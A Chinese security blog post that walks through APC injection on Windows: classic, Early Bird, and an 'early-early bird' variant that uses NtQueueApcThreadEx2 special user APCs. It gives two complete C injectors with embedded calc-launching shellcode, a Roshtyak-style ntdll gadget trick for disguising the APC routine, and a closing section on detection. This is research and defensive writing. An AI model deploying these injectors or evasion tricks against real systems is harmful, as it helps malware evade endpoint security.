0x01 前言
blog断更有一年了,一方面是工作的原因,还有一方面就是感觉过去的一年了自己变得非常“懒”,并且ai-各类agent的出现,感觉我一直在借助al向外看,学习外部的知识,一直在汲取,没有啥表达的欲望。al的出现真的是颠覆我的学习方式以及工作方式。
给我最直观的感受就是,AI 让我们“知道世界上有什么”变得越来越容易,但“形成自己的东西”反而变得更加重要,也就是说个人的核心能力是在垂直领域 需要拥有一套验证 AI、质疑 AI、拆解 AI、重新建立模型的能力,这依赖于基础。
以前:
基础差 → 学得慢,没有师傅带->入门都很难
现在:
基础差 → 也可以学得非常快
但问题变成:
基础差 → 很难知道自己到底学对没有。
而基础扎实的人则完全不同。
人和 AI 的关系更像:
AI 帮我扩张认知边界,我负责判断它到底有没有越界。
比如我最近一直在研究 Windows PE、APC、ntdll、内核→用户态这一套东西。
我问 AI:
“为什么从内核回到用户态以后执行 ntdll?”
如果完全没有 Windows 内核基础,AI 讲出来的一套流程可能会让人觉得:
“卧槽,我已经把 Windows 进程启动机制搞懂了。”
但如果已经真正看过:
1
2
3
4
5
6
7
8
KiSystemCall64
KTHREAD/KPROCESS
Trap Frame
用户态返回
PEB/TEB
LdrInitializeThunk
PspCreateProcess
Section / Image Mapping
你会开始不断问:
“等等,这一步是谁做的?”
“这个是架构规定,还是 Windows 实现?”
“这个动作发生在内核还是用户态?”
“有没有官方源码/文档?”
“我能不能在 WinDbg 里验证?”
这时候 AI 的作用就完全变了。
它不再是你的“老师”。
而更像是:
一个无限耐心、无限广度的研究助手。真的让我在一些冷门,或者公开资料比较少的领域的 垂直学习和分析能力 加快了数倍。
0x02 背景
最近从外部情报以及一个师傅那边学习到了一个关于“apc注入比较”有意思的技术。记录下,同时也想借此机会更新下blog。
0x03 技术
应用层的apc注入技术主要就如下两种:
第一种是:普通apc注入技术
1
2
3
1、获取进程句柄
2、在目标进程中开辟空间,并写入恶意代码
3、插入apc,等待系统alert信号触发
第二种是:early bird注入技术
第二种其实本身就是在第一种上的一种衍生,主要目的:
1、把注入的时机提前,用于对抗安全产品对相关winapi的hook。
2、伪造合法调用链,比如可以创建一个系统进程,然后使用系统进程启动合法子进程,从进程链维度去规避异常检出。
1
2
3
4
1、挂起创建某系统进程
2、在目标进程中开辟空间,并写入恶意代码
3、插入apc
4、激活挂起的进程,apc得以执行
技术代码参考:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <stdio.h>
#include <Windows.h>
int main() {
//unsigned char shellcode [] = {0xcc,0xcc,0x30};
unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d"
"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01"
"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01"
"\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31"
"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45"
"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b"
"\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31"
"\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2"
"\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
// 初始化STARTUPINFO和PROCESS_INFORMATION结构
STARTUPINFOA st = { 0 };
PROCESS_INFORMATION prt = { 0 };
st.cb = sizeof(st);
// 以挂起状态创建目标进程(如notepad.exe)
if (!CreateProcessA(
"C:\\Windows\\System32\\notepad.exe", //目标进程路径
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, //创建挂起状态
NULL, NULL, &st, &prt))
{
printf("无法创建目标进程,错误代码: %d\n", GetLastError());
return 1;
}
// 获取目标进程和主线程的句柄
HANDLE victimProcess = prt.hProcess;
HANDLE threadHandle = prt.hThread;
// 在目标进程中分配内存,用于存储Shellcode
PUCHAR shellAddr = (PUCHAR)VirtualAllocEx(
victimProcess, NULL, 0x1000, MEM_COMMIT,
PAGE_EXECUTE_READWRITE // 内存权限:可执行、可读、可写
);
if (shellAddr == NULL) {
printf("无法在目标进程中分配内存,错误代码: %d\n", GetLastError());
TerminateProcess(victimProcess, 0); // 终止目标进程
CloseHandle(victimProcess);
CloseHandle(threadHandle);
return 1;
}
// 将shellcode写入目标进程的内存
if (!WriteProcessMemory(
victimProcess, shellAddr, shellcode,
sizeof(shellcode) , NULL))
{
printf("无法写入目标进程内存,错误代码: %d\n", GetLastError());
VirtualFreeEx(victimProcess, shellAddr, 0, MEM_RELEASE); // 释放内存
TerminateProcess(victimProcess, 0); // 终止目标进程
CloseHandle(victimProcess);
CloseHandle(threadHandle);
return 1;
}
// 将APC函数排入目标线程的APC队列
if (!QueueUserAPC(
(PAPCFUNC)shellAddr, // APC函数
threadHandle, // 目标线程句柄
NULL// 传递给APC函数的参数
)) {
printf("无法队列APC,错误代码: %d\n", GetLastError());
VirtualFreeEx(victimProcess, shellAddr, 0, MEM_RELEASE); // 释放内存
TerminateProcess(victimProcess, 0); // 终止目标进程
CloseHandle(victimProcess);
CloseHandle(threadHandle);
return 1;
}
printf("getchar");
getchar();
// 恢复目标线程的执行
ResumeThread(threadHandle);
// 关闭句柄
CloseHandle(victimProcess);
CloseHandle(threadHandle);
printf("注入成功\n");
return 0;
}
效果:恶意程序,挂起创建notepad,然后执行shellcode(创建calc)

然后就是新的一个技术点
第三种:early-early bird apc注入技术
这里我形象的称其为 early-early bird,因为这个的效果就是,超前的触发。
对于第二种技术,我们可以想一下,其shellcode加载的时间节点在哪,我们只是给其加了一个apc,需要等进程运行起来之后,到一个可以被打扰的状态,此时系统机制才会去执行apc队列里面的任务。
如下是相关shellcode被调用是的堆栈:(为了可以断在我们的注入代码,这里我们把首位修改为0xcc)

使用windbg,开启子进程调试模式(后续shellcode是在子进程里面执行)

一路放行即可,来到notepad


此时的调用堆栈如下:

peb结构看,notepad中相关ldr-内存加载模块都加载完了:

所以其实这里 我们的恶意代码逻辑其实已经加载的非常晚了,相关杀软的dll早就加载了。原因是,这里我们做的操作只是把apc队列里面放了任务,程序需要运行到合适的时候才会去看apc里面是否有任务然后执行。
后来有人发现微软一个未公开的api ntdll!NtQueueApcThreadEx2;这个api有一个比较牛的模式:
1
2
3
4
5
6
7
8
9
10
11
12
13
_Kernel_entry_
NTSYSCALLAPI
NTSTATUS
NTAPI
NtQueueApcThreadEx2(
_In_ HANDLE ThreadHandle,
_In_opt_ HANDLE ReserveHandle, // NtAllocateReserveObject
_In_ ULONG ApcFlags, // QUEUE_USER_APC_FLAGS
_In_ PPS_APC_ROUTINE ApcRoutine, // RtlDispatchAPC
_In_opt_ PVOID ApcArgument1,
_In_opt_ PVOID ApcArgument2,
_In_opt_ PVOID ApcArgument3
);
其第三个参数枚举值如下,当QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC的时候,其会 创建一个特殊的用户模式 APC 任务,该任务不需要线程进入可触发状态。这个 APC 任务将在下一个线程进入用户模式时执行。所以这里优先级又被提高了,不需要等所谓的信号了。
QUEUE_USER_APC_FLAGS_NONE- indicates that none of the flags listed below are used. The behavior defaults to regular APCs that require the thread to first enter an alertable wait viaNtDelayExecution(or a similar function) or callNtTestAlert.QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC- queue a special user-mode APC that does not require the thread to enter an alertable state. The APC will be executed on the next thread’s transition to user mode.QUEUE_USER_APC_FLAGS_CALLBACK_DATA_CONTEXT- let the callback routine receive the context (set of registers) that was interrupted when the thread was directed to call the APC function.
参考:
https://ntdoc.m417z.com/ntqueueapcthreadex2
代码落地:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include <stdio.h>
#include <Windows.h>
typedef NTSTATUS(NTAPI* pNtQueueApcThreadEx2)(
HANDLE ThreadHandle,
HANDLE ReserveHandle,
ULONG ApcFlags,
PVOID ApcRoutine,
PVOID ApcArgument1,
PVOID ApcArgument2,
PVOID ApcArgument3
);
int main() {
unsigned char shellcode[] = { 0xcc,0xcc,0x30 };
//unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d"
// "\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01"
// "\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01"
// "\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31"
// "\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45"
// "\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b"
// "\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31"
// "\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2"
// "\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
// 初始化STARTUPINFO和PROCESS_INFORMATION结构
STARTUPINFOA st = { 0 };
PROCESS_INFORMATION prt = { 0 };
st.cb = sizeof(st);
// 以挂起状态创建目标进程(如notepad.exe)
if (!CreateProcessA(
"C:\\Windows\\System32\\notepad.exe", //目标进程路径
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, //创建挂起状态
NULL, NULL, &st, &prt))
{
printf("无法创建目标进程,错误代码: %d\n", GetLastError());
return 1;
}
// 获取目标进程和主线程的句柄
HANDLE victimProcess = prt.hProcess;
HANDLE threadHandle = prt.hThread;
HMODULE hModule = GetModuleHandleA("ntdll.dll");
auto NtQueueApcThreadEx2 =
reinterpret_cast<pNtQueueApcThreadEx2>(
GetProcAddress(hModule, "NtQueueApcThreadEx2")
);
// 在目标进程中分配内存,用于存储Shellcode
PUCHAR shellAddr = (PUCHAR)VirtualAllocEx(
victimProcess, NULL, 0x1000, MEM_COMMIT,
PAGE_EXECUTE_READWRITE // 内存权限:可执行、可读、可写
);
if (shellAddr == NULL) {
printf("无法在目标进程中分配内存,错误代码: %d\n", GetLastError());
TerminateProcess(victimProcess, 0); // 终止目标进程
CloseHandle(victimProcess);
CloseHandle(threadHandle);
return 1;
}
// 将shellcode写入目标进程的内存
if (!WriteProcessMemory(
victimProcess, shellAddr, shellcode,
sizeof(shellcode), NULL))
{
printf("无法写入目标进程内存,错误代码: %d\n", GetLastError());
VirtualFreeEx(victimProcess, shellAddr, 0, MEM_RELEASE); // 释放内存
TerminateProcess(victimProcess, 0); // 终止目标进程
CloseHandle(victimProcess);
CloseHandle(threadHandle);
return 1;
}
if (!NtQueueApcThreadEx2)
{
printf("NtQueueApcThreadEx2 not found\n");
return 1;
}
printf("NtQueueApcThreadEx2 = %p\n",
(void*)NtQueueApcThreadEx2);
if (
NtQueueApcThreadEx2(threadHandle,NULL,0x1,shellAddr,NULL,NULL,NULL
)) {
printf("无法调用NtQueueApcThreadEx2,错误代码: %d\n", GetLastError());
VirtualFreeEx(victimProcess, shellAddr, 0, MEM_RELEASE); // 释放内存
TerminateProcess(victimProcess, 0); // 终止目标进程
CloseHandle(victimProcess);
CloseHandle(threadHandle);
return 1;
}
printf("getchar");
getchar();
// 恢复目标线程的执行
ResumeThread(threadHandle);
// 关闭句柄
CloseHandle(victimProcess);
CloseHandle(threadHandle);
printf("注入成功\n");
return 0;
}
这里我们同样调试分析下相关代码
开启子进程调试,并且断点到NtQueueApcThreadEx2,运行到的时候可以看到相关参数,shellcode地址

相关shellcode在子进程运行的时候堆栈情况如下:

此时ldr里面相关模块还没加载(此时应该只有自己和ntdll),准确的说此时进程刚来到用户态,执行ntdll!LdrInitializeThunk就触发了我们的shellcode。

ntdll!KiUserApcDispatch 是用户态 APC 的入口/分发代码。也就是说,子进程被激活之后,先运行卡在了shellcode的地方。在此之前没有其他加载模块。也就是文档里面说的”,该任务不需要线程进入可触发状态。这个 APC 任务将在下一个线程进入用户模式时执行“。
0x04 对抗
1、从攻击进程,注入维度看
可以看到本质上还是在目标进程开辟空间,写入恶意代码,然后通过写入特殊apc队列触发执行(和普通的区别是不需要alert信号,进程从内核态到用户态就会执行)。那么这里我们可以检出的点有:
- 监控异常的跨进程内存空间开辟以及写入(WriteProcessMemory、VirtualAlloc);当然这里也有一些其他实现类似效果的办法,比如利用NtMapViewofSection内存映射,来将恶意代码置入目标进程,检出方式也类似。
- 监控异常的跨进程以及使用[QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC]参数的NtQueueApcThreadEx2调用
相关监控点的组合可以减少误报。
2、从受影响进程,被注入维度看
前提:我们安全产品要在这种注入方式下相关恶意代码之前“接管”目标进程。这其实并不简单,上面我们曾分析过,在这种注入方式下相关shellocdo执行的非常早,从函数调用栈看基本是进程激活后,还没初始化之前(peb里面的ldr都没有地址,相关dll都没有加载)。所以这里我们先来看下什么情况下可以领先shellcode接管目标进程,来部署我们的检出逻辑。
安全产品的注入的时间点:
一个win pe启动,流程大致如下;也就是说 安全产品得在内核层或者是转用户态之前就注入目标进程,那么这里就需要安全产品在进程还在内存中的时候就内置好检测逻辑了,这个时间点可以是在:内核中加载到exe自己镜像和ntdll之后,初始化线程然后进入usermode之前,去hook ntdll里面LdrInitializeThunk函数,那么自然进入用户态,就先执行我们安全产品的检测逻辑;hook的方式直接通过驱动注册PsSetCreateProcessNotifyRoutineEx 回调,等ntdll加载时或者被加载后hook即可,注意要在初始化线程转用户态之前。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
NtCreateUserProcess
│
▼
Kernel 创建 Process/Thread
│
▼
准备用户态初始执行环境(创建/映射 EXE Image、映射 ntdll.dll)
│
▼
Initial Thread 进入 User Mode
│
▼
ntdll 用户态启动代码
│
▼
LdrInitializeThunk
│
▼
Loader 初始化
│
├── PEB/LDR
├── DLL
├── Import
├── Relocation
├── TLS
└── DLL initialization
│
▼
EXE EntryPoint
然后我们来看,检出逻辑什么:
- 监控异常调用链:
从shellcode执行的时候堆栈情况下看,我们看到直接由初始化函数ntdll!LdrInitializeThunk执行的时候,内核态切用户态ntdll!KiUserApcDispatch,然后就来到了一个未知由xrw的空间。这个调用栈就是最大的破绽。

当然这里也有反反检测,可以通过构造一些调用栈,比如:
借鉴Roshtyak 后门(Roshtyak 是 Raspberry Robin 使用的 DLL 后门,一种通过受感染的可移动驱动器传播的蠕虫,Raspberry Robin今年非常流行。)之前使用的手法,其利用ntdll中相关地址作为跳板,
原文如下:其在23年样本中使用的apc注入,还用的之前老版的注入方式(QueueUserApc->NtQueueApcThreadEx),但是其使用了ntdll中代码作为跳板,最后执行相关shellcode。
1
2
3
4
5
Roshtyak从独立的进程中执行一些功能。例如,当它与它的C&C服务器通信时,它会生成一个新的看似无害的进程,如regsvr32.exe。通过使用共享段,它将通信模块注入到新进程的地址空间中。被注入的模块通过APC注入执行,使用的是NtQueueApcThreadEx。
有趣的是,ApcRoutine 参数(标记要安排执行的目标例程)并不指向注入模块的入口点。相反,它指向 ntdll 中看似随机的地址。仔细一看,我们发现这个地址不是随机选择的,而是 Roshtyak 扫描了 ntdll 的代码段来查找pop r32;retgadget(不包括pop,因为旋转堆栈是不可取的),并随机选择一个作为ApcRoutine。
查看 ApcRoutine 的调用约定可以理解发生了什么。pop 指令使堆栈指针指向 NtQueueApcThreadEx 的 SystemArgument1 参数,因此 ret 指令有效地跳转到 SystemArgument1 指向的任何位置。这意味着通过滥用这个gadget,Roshtyak 可以将 SystemArgument1 作为 APC 注入的入口点。这混淆了控制流并使 NtQueueApcThreadEx 调用看起来更合法。如果有人挂钩此函数并检查 ApcRoutine 参数,它指向 ntdll 代码段的事实可能足以让他们相信该调用不是恶意的。
这里我们也可以看下相关堆栈情况,为什么找ntdll 的代码段中的 pop r32;ret就可以实现跳转:
如下可以笔者测试的时候,将ApcArgument1 参数1设置为我们的shellcode2;
1
2
3
4
5
6
7
8
9
NtQueueApcThreadEx2(
_In_ HANDLE ThreadHandle,
_In_opt_ HANDLE ReserveHandle, // NtAllocateReserveObject
_In_ ULONG ApcFlags, // QUEUE_USER_APC_FLAGS
_In_ PPS_APC_ROUTINE ApcRoutine, // RtlDispatchAPC
_In_opt_ PVOID ApcArgument1,
_In_opt_ PVOID ApcArgument2,
_In_opt_ PVOID ApcArgument3
);


断点到调用ntqueeuapcthreadex2函数,相关堆栈以及参数如下

可以看到shellcode2:

然后我们继续运行,看下最后shellcode执行的时候,相关堆栈情况;可以看到当执行ApcRoutine 也就是shellcode的时候,参数1在我们的堆栈的rsp+的位置。
所以此时只要pop一个地址,然后ret即可直接跳转到参数1来(ret的我们可以直接理解就是pop rip,即把跳转返回地址[rsp])。

所以说核心就是找到ntdll里面的相关类似代码。popxxx, ret。
这里我们尝试找下测试下。

有执行权限:

使用这个即可。
- 监控异常代码执行
异常的xrw权限地址空间,相关内存做shellcode扫描,这里我们不难发现,攻击者在这能注入的内容其实是由局限性的。因为此时进程还没有初始化,相关模块都没有加载,所以能选择的基本上只有shellcode,shellcode里面在去利用ntdll做一些加载,然后实现相关恶意逻辑。那么这里我们就可以对常见shellcode扫描,以及对反射加载的特征扫描。